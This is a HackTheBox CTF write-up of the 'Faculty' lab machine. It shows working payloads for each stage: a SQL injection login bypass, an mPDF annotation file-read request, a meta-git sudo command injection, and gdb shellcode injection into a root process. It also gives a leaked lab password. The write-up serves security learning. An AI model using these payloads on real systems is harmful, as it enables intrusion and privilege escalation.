HTB: Faculty Writeup
Faculty - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Faculty |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | accessed via jump box / faculty.htb vhost |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Faculty is a PHP-based “Faculty Scheduling System” whose admin login is trivially bypassed with a classic SQL injection, dropping straight into the admin dashboard. From there, the PDF export feature runs on mPDF 6.0, a version with a known local file inclusion bug in its <annotation> tag handling — abused to pull the application’s own db_connect.php off disk and recover a MySQL password that turns out to be reused for SSH. The low-priv user gbyolo has a narrow sudo rule to run meta-git as developer; version 1.1.2 of that npm package fails to sanitize the repository URL argument, giving arbitrary command execution as developer. Root falls to a Linux capability misconfiguration: gdb carries cap_sys_ptrace, and developer is in the debug group, so gdb can attach to the root-owned nginx master process and inject shellcode directly into its memory.
TL;DR: SQLi admin bypass (admin' OR 1=1#) → mPDF 6.0 annotation LFI leaks db_connect.php DB password → password reused for SSH as gbyolo → sudo meta-git argument injection → shell as developer → gdb with cap_sys_ptrace injects shellcode into root’s nginx → root.
Reconnaissance
Port Scanning
Scanning was run through the lab jump box (direct host had no route):
nmap -sC -sV -T4 -p- faculty.htbResults:
22/tcp— SSH80/tcp— nginx, HTTP → redirects to the vhostfaculty.htb
Only two services exposed. The redirect confirmed the app is name-based virtual hosting, so faculty.htb was added to /etc/hosts to browse it directly.
Service Enumeration
The site on port 80 is the “Faculty Scheduling System” front end. The interesting surface sits behind /admin/, where an administrator login form posts credentials asynchronously.
Vulnerability Assessment
- Admin authentication endpoint takes raw, unsanitized input in the login query — classic SQLi auth-bypass territory.
- PDF export functionality (subject list → export) builds documents server-side with mPDF 6.0, a version publicly known to be vulnerable to local file inclusion via the
<annotation file=...>tag. - Database credentials embedded in a PHP include file (
db_connect.php) were reachable through that same LFI, and turned out to be reused as a system account password (credential reuse across trust boundaries). - A sudo rule allows the foothold user to run a vulnerable third-party npm tool (
meta-git1.1.2) as another user, with unsanitized argument handling → command injection. - A Linux file capability (
cap_sys_ptraceon/usr/bin/gdb) combined withdebuggroup membership allows full process memory access to root-owned processes.
Initial Foothold
Exploitation Path
1. SQL injection admin bypass
The admin login handler builds its authentication query directly from POST input. Submitting a boolean-always-true payload in the username field short-circuits the WHERE clause and returns the first row (the admin account) regardless of password:
# Auth bypass payload sent as the "username" fieldcurl -s "http://faculty.htb/admin/ajax.php?action=login" \ --data-urlencode "username=admin' OR 1=1#" \ --data-urlencode "password=x"This lands an authenticated admin session — the injected # comments out the rest of the query, and OR 1=1 makes the WHERE clause always true, so the query returns the admin row without needing a valid password.
2. mPDF 6.0 annotation LFI → credential disclosure
The admin dashboard’s “export subject list” feature POSTs to /admin/download.php with a pdf parameter that is actually raw HTML fed to the mPDF rendering engine — double URL-encoded, then base64-encoded. mPDF 6.0’s <annotation> tag lets you specify an arbitrary file= path, which mPDF opens and embeds as a PDF attachment. There’s no path restriction, so it can be pointed at files outside the intended asset directory (no CVE was formally assigned to this bug; it’s documented as a public issue against mpdf/mpdf).
# Build the annotation payload targeting the app's own db include filePAYLOAD='<html><body><annotation file="db_connect.php" content="db_connect.php" icon="Graph" title="leak" pos-x="195" /></body></html>'
# Encoding order required by the app: URL-encode twice, then base64ENC=$(python3 -c "import urllib.parse, base64p = '$PAYLOAD'p = urllib.parse.quote(p, safe='')p = urllib.parse.quote(p, safe='')print(base64.b64encode(p.encode()).decode())")
curl -s "http://faculty.htb/admin/download.php" \ -H "Cookie: PHPSESSID=<admin_session>" \ --data-urlencode "pdf=$ENC" -o resp.txtThe key wrinkle: download.php doesn’t stream the finished PDF back in the response — it only returns the generated filename. The actual file is written (briefly) to mpdf/tmp/ on the server before being cleaned up, so it has to be grabbed in that window:
# Response body is just the filename mPDF wrote to its tmp dirFNAME=$(cat resp.txt)curl -s "http://faculty.htb/mpdf/tmp/${FNAME}" -o loot.pdfThe attachment stream inside the PDF is FlateDecode-compressed, so it has to be pulled out of the PDF object structure and zlib-inflated to get the plaintext:
# Extract + zlib-decompress the FlateDecode attachment stream from the PDFimport re, zlib
data = open("loot.pdf", "rb").read()# locate the compressed stream between "stream" / "endstream" markersm = re.search(rb"stream\r?\n(.*?)endstream", data, re.S)print(zlib.decompress(m.group(1)).decode(errors="replace"))This recovered db_connect.php, exposing the MySQL credentials:
$conn = new mysqli('localhost', 'sched', 'Co.met06aci.dly53ro.per', 'scheduling_db');3. Credential reuse → SSH foothold
The database password Co.met06aci.dly53ro.per was tried against SSH for the system user visible in the app context, gbyolo, and worked directly:
ssh gbyolo@faculty.htb# password: Co.met06aci.dly53ro.perPrivilege Escalation
gbyolo → developer (meta-git argument injection)
sudo -l as gbyolo shows permission to run /usr/local/bin/meta-git as developer. Checking the installed version:
npm list -g | grep meta-git# meta-git@1.1.2meta-git 1.1.2 has a documented remote code execution bug (disclosed via HackerOne): the tool passes the repository URL argument to git clone on the shell without sanitizing it, so shell metacharacters in that argument execute as commands.
The catch on this box: meta-git appends basename(repoUrl) to whatever gets built after the payload, which breaks a naive "x; command" injection (the appended token trails the command and can corrupt it). Using || to chain and terminating with a bash comment # swallows that appended token cleanly:
# '#' comments out the basename() suffix meta-git appends after our payloadsudo -u developer /usr/local/bin/meta-git clone "x || bash /tmp/setup.sh #"Running from /tmp mattered too — the jump box’s own /tmp was full, so the staged setup.sh (which planted an SSH key for developer) was actually placed in /dev/shm and referenced from there to avoid disk-full errors during the exploit. setup.sh dropped an authorized_keys entry for developer, which was then used to SSH in directly and read:
/home/developer/user.txtdeveloper → root (CAP_SYS_PTRACE via gdb)
Checking capabilities as developer:
getcap -r / 2>/dev/null# /usr/bin/gdb = cap_sys_ptrace+epid# uid=1001(developer) gid=1002(developer) groups=1002(developer),<debug gid>(debug)gdb carries cap_sys_ptrace, and developer is a member of the debug group that owns/executes it — meaning gdb can PTRACE_ATTACH to any process on the box, including ones running as root, and read/write their memory. A root-owned, long-lived process (the nginx master) was picked as the injection target:
ps auxww | grep 'nginx: master'# root <PID> ... nginx: master processA gdb script was built to write shellcode bytes directly into the running process’s execution path and trigger a chmod +s /bin/bash, then run it non-interactively against the master PID:
# script.gdb pokes shellcode into the target's memory then continues executiongdb -p <nginx_master_pid> -x script.gdb -batchOnce the injected shellcode executed inside the root-owned process, /bin/bash had its setuid bit set. Invoking it with -p (preserve privileges, skip euid-drop) gave a root shell:
/bin/bash -p# euid=0(root)cat /root/root.txtcap_sys_ptrace is functionally equivalent to root for any process the capability holder can attach to — there’s no further sandboxing once you can write arbitrary memory into a root process and hijack its instruction pointer.
Attack Chain Summary
SQLi auth bypass (admin' OR 1=1#) → /admin/ajax.php?action=login → admin dashboard access → mPDF 6.0 annotation LFI on /admin/download.php → pull generated PDF from /mpdf/tmp/<name> before cleanup → zlib-inflate FlateDecode attachment stream → db_connect.php leaked → DB password reused for SSH → foothold as gbyolo → sudo -u developer meta-git clone "x || bash /tmp/setup.sh #" → SSH key planted → shell as developer → user.txt → gdb (cap_sys_ptrace) attaches to root nginx master → shellcode injection sets /bin/bash setuid → /bin/bash -p → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning through jump box |
curl | Sending SQLi payload and mPDF export requests |
python3 (urllib, zlib) | Encoding the annotation payload; inflating the FlateDecode PDF stream |
ssh | Foothold as gbyolo, lateral login as developer |
sudo -l / meta-git | Enumerating and exploiting the sudo RCE path to developer |
getcap | Discovering cap_sys_ptrace on /usr/bin/gdb |
gdb | Injecting shellcode into the root nginx master process |
/dev/shm | Scratch space for exploit staging when /tmp was full |
Key Learnings
Techniques Practiced
- SQL injection authentication bypass against a hand-rolled login query
- Exploiting a known mPDF 6.0 annotation LFI to exfiltrate server-side source files
- Extracting and zlib-decompressing a FlateDecode PDF object stream to recover leaked file contents
- Abusing a sudo rule around a vulnerable npm CLI (
meta-git) via argument injection - Escalating via a misassigned Linux capability (
cap_sys_ptrace) to hijack a root process’s memory
Lessons Learned
- mPDF’s exported files land briefly in a world-readable
tmp/path before cleanup — when an endpoint only returns a filename instead of the file body, that tmp path itself is the real exfil channel and has to be raced. - Credential reuse between an application’s DB layer and OS-level SSH accounts turns any file-read primitive into a full foothold — always check disclosed DB/app passwords against every valid system user.
- Sudo rules wrapping a CLI that forwards user-controlled arguments to a shell (
git clone <url>) are command injection waiting to happen; here the tool’s own argument-appending behavior (basename(repoUrl)) had to be neutralized with a trailing#comment rather than a simple;. - A capability like
cap_sys_ptraceon a debugging tool is a root-equivalent primitive the moment the holder can reach a root-owned process — group membership (debug) should be audited with the same scrutiny as sudoers. - Environment friction (a full
/tmpon the pivot host) is a real obstacle mid-chain —/dev/shmis a reliable fallback scratch space when staging exploit files.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- “Faculty” — Official HackTheBox Writeup, prepared by dotguy, Document No. D22.100.190, Machine Author: gbyolo, Released 28 August 2022. Used here for explanatory background on the mPDF 6.0 annotation LFI mechanism and the
meta-git/cap_sys_ptraceescalation concepts; all commands, endpoints, credentials, and output shown above are from this run’s own solve.